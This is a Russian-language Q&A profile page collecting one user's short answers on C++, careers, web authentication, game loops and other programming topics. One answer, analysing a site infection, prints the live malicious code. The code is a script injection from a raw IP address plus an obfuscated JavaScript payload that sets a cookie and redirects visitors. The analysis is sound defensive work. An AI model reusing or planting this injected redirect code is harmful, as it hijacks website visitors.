Задать вопрос
  • В какой последовательности изучать C++? Разница между junior/midle в С++?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Выбирай направление, гугли, смотри какие требования в вакансиях
    Ответ написан
    Комментировать
  • С++ или backend?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    42
    Ответ написан
    Комментировать
  • Как сделать разную реализацию одной и той же функции класса в C++?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Либо хранить указатель на функцию en.cppreference.com/w/cpp/utility/functional/function (ну или сырой), либо сделать в базовом функцию виртуальной, а можно и то и другое, например так.

    class Base {
    public:
      virtual ~Base() {}
      virtual doIt()
      {
        if (callback)
          callback();
      }
    private:
      std::function<void()> callback;

    И в наследуемом можно будет переопределить doIt и он будет делать что-то другое.
    Ответ написан
    Комментировать
  • Как расшифровать вирус?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    document.write("<script src=\"http://134.249.116.78/jquery.js\"></script>");

    А там для тебя ещё один квест:
    //def
    var _0x8290=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x73\x72\x66\x5F\x75\x69\x64\x73","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x63\x70\x6D\x32\x30\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x6B\x65\x79\x3D\x37\x38\x39\x61\x34\x31\x32\x39\x65\x37\x38\x63\x30\x30\x30\x30\x38\x61\x34\x37\x62\x33\x36\x65\x32\x33\x64\x36\x35\x65\x61\x37"];function _mmm_(_0x1c98x2,_0x1c98x3,_0x1c98x4,_0x1c98x5){var _0x1c98x6= new Date();var _0x1c98x7= new Date();if(_0x1c98x4=== null|| _0x1c98x4=== 0){_0x1c98x4= 3};_0x1c98x7[_0x8290[1]](_0x1c98x6[_0x8290[0]]()+ 3600000* 24* _0x1c98x4);document[_0x8290[2]]= _0x1c98x2+ _0x8290[3]+ escape(_0x1c98x3)+ _0x8290[4]+ _0x1c98x7[_0x8290[5]]()+ ((_0x1c98x5)?_0x8290[6]+ _0x1c98x5:_0x8290[7])}function _nnn_(_0x1c98x9){var _0x1c98xa=document[_0x8290[2]][_0x8290[8]](_0x1c98x9+ _0x8290[3]);var _0x1c98xb=_0x1c98xa+ _0x1c98x9[_0x8290[9]]+ 1;if((!_0x1c98xa) && (_0x1c98x9!= document[_0x8290[2]][_0x8290[10]](0,_0x1c98x9[_0x8290[9]]))){return null};if(_0x1c98xa==  -1){return null};var _0x1c98xc=document[_0x8290[2]][_0x8290[8]](_0x8290[11],_0x1c98xb);if(_0x1c98xc==  -1){_0x1c98xc= document[_0x8290[2]][_0x8290[9]]};return unescape(document[_0x8290[2]][_0x8290[10]](_0x1c98xb,_0x1c98xc))}if(navigator[_0x8290[12]]){if(_nnn_(_0x8290[13])== 1){}else {_mmm_(_0x8290[13],_0x8290[14],_0x8290[14],_0x8290[15]);window[_0x8290[17]][_0x8290[16]]= _0x8290[18]}}


    UPD: вот этот сайт неплохо помогает jsbeautifier.org

    UPD2: он что-то делает с куками и редиректит сюда https://www.cpm20 com/watch?key=789a4129e78c00008a47b36e23d65ea7
    Ответ написан
    4 комментария
  • Почему в вакансии слишком много требований или это стандартные требования?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Вполне нормальные требования.
    Ответ написан
    3 комментария
  • Как устроена авторизация по паролю в web-приложениях?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Обычно делают так: есть база данных с таблицей пользователей со следующей структурой
    id username password
    где id - primary key(целочисленное значение уникальное для каждого пользователя)
    username понятно
    password - хеш пароля, причём к этому хешу добавляется соль, общая для всей базы(хранить где-нибудь в конфиге приложения, чтоб при доступе к базе её было не найти) и какая-нибудь для пользователя, чтоб у разных пользователей пароль qwerty превращался в разные хеши.
    И также таблица сессий.
    session_key expiration_time user_id
    session_key рандомная строка(например Ku0peepia3ialete3uawai9oK3Koh2ni), которая хранится в куках пользователя
    expiration_time timestamp когда сессия заканчивается(важно на банковских приложениях например)
    user_id - id пользователя, которому принадлежит сессия.
    Также можно добавить другие данные, как например ip, user-agent и т.д.

    Когда пользователь ввёл логин и пароль в форму и нажал "войти", на сервер отправляется POST запрос с логином и паролем, сервер принимает его, хеширует пароль и проверяет в базе, есть ли такая пара, если есть, создаётся сессия и возвращается пользователю в куках(хедер Set-Cookie), клиент устанавливает их себе и при следующих запросах отправляет сессию в хедере Cookie, либо берётся та, которую отправил пользоваль и привязывается к аккаунту. Когда пользователь заходит в админку, сервер смотрит, есть ли такая сессия и имеет ли права на доступ в админку её владелец, если нет, то возвращает ошибку.
    Ответ написан
    5 комментариев
  • Какую графическую библиотеку стоит выбрать для C++/C#?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Если C++, то наиболее популярен Qt и его активно дорабатывают в отличии от многих проектов под более удобной лицензией
    Ответ написан
    Комментировать
  • Почему разработчики выбирают себе дешевые технологии?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Во первых не всё зависит от денег, а во вторых дешёвые технологии проще, потому они и дешёвые
    Ответ написан
    Комментировать
  • Зачем шифруют огромное количество сайтов?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Чтобы чувак по середине не модифицировал контент, это может повлечь за собой утечку сессий пользователей например.
    Ответ написан
    Комментировать
  • Как избавится от страха работы и прохождения собеседования?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Если не попробуешь, то точно ничего не получится
    Ответ написан
    Комментировать
  • Как f.toString здесь работает и расскажите, что происходит в этом коде?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Функция, которая возвращает функцию, которая возвращает функцию и когда последняя функция попадает как аргумент alert, вызывается toString, который возвращает currentSum.
    Ответ написан
    3 комментария
  • Что делать с pet-проектами просле их завершения?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Размещаю на гитхабе и на своём vps, толку правда от этого пока никакого..
    Ответ написан
    Комментировать
  • Что лучше использовать для написания парсера на Python?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Обычно у лога есть какой-то формат, который легко парсится регулярными выражениями, поэтому встроенного re скорее всего хватит.
    Ответ написан
    Комментировать
  • Как решить проблему с торрентом?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Менять провайдера
    Ответ написан
    Комментировать
  • У вас бывало такое, что вы думали переписать всю книгу на компьютерную тему, только чтобы лучше ее запомнить?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Вообще ни разу, мне переписывание никак не помогает запоминать.
    Ответ написан
    Комментировать
  • Как понять логику не скриптовых языков программирования?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    А при чём тут не скриптовые языки программирования? То, про что ты говоришь - GUI, а именно обработка событий.
    Не совсем так, но похоже. Есть цикл обработки событий, который берёт событие из очереди и обрабатывает, берёт следующее и так далее. Допустим пользователь кликнул по кнопке, создалось событие клика в определённых координатах, обработалось, программа определила, к какому виджету относилось это событие и вызвала соответствующий метод. События могут поступать из вне, т.е. нажатия на клавиатуру, передвижение мыши и т.д. и от самого приложения(таймеры например).
    Ответ написан
    Комментировать
  • Как каждую секунду проверять что-либо на что-либо?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Т.е. у тебя всего 1000 жителей и ты используешь MySQL? Допустим структура житель выглядит так:
    struct Citizen {
      char name[64];
      short hunger;
      short health;
      TYPE type;
    };

    И того 69 байт на 64 битной платформе, предположим, что там ещё куча полей и увеличим размер одного жителя до 128 байт(что даже избыточно), итого 128 кБайт, это крайне мало, можно хранить в ОЗУ, если нужно сохранять между запусками, то может redis подойдёт, ну или всё таки MySQL, но кешировать данные в памяти, т.к. если запрашивать каждый раз, оно будет крайне медленным.
    А на счёт темы вопроса, гугли game loop. Проверять каждую секунду скорее всего не надо, но надо обновлять на разное значени в зависимости от того, сколько прошло времени.
    game-loop-fixed.png
    В цикле вызываешь метод модуля, отвечающего за жителей, и тот уже обновляет нужных тебе жителей. Если прошла секунда, обновляешь на 1 * k, где k - коэффициент голода, если прошло 10 секунд, то 10 * k и т.д.
    Ответ написан
    3 комментария
  • Когда может понадобиться XML или JSON?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Для передачи данных от клиента к серверу и наоборот.
    Ответ написан
    Комментировать
  • Что нужно изучить чтобы найти олимпиаднику работу?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Самый важный навык, который должны изучить все новички - умение гуглить.
    Ответ написан
    Комментировать
  • Как не стать тупым в общении, профессионально занимаясь программированием?

    devalone
    @devalone
    ̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻̻
    Это выбор интровертов, социопатов, одиночек и просто людей со сложностями в общении

    Бред какой-то.
    Лично у меня вообще нет подобных проблем, нормально могу поддержать разговор на интересные мне темы. И не заметил, чтоб программирование как-то сильно влияло на мою общительность. Вам же могу посоветовать найти хобби не связанное с IT и программированием(рыбалка, теннис, мотоциклы, что угодно) и читать художественную литературу(способствует развитию речи).

    P.S. ещё в школе я был не очень то общительный и сильно стеснительный, но программированием я тогда не особо увлекался.
    Ответ написан
    Комментировать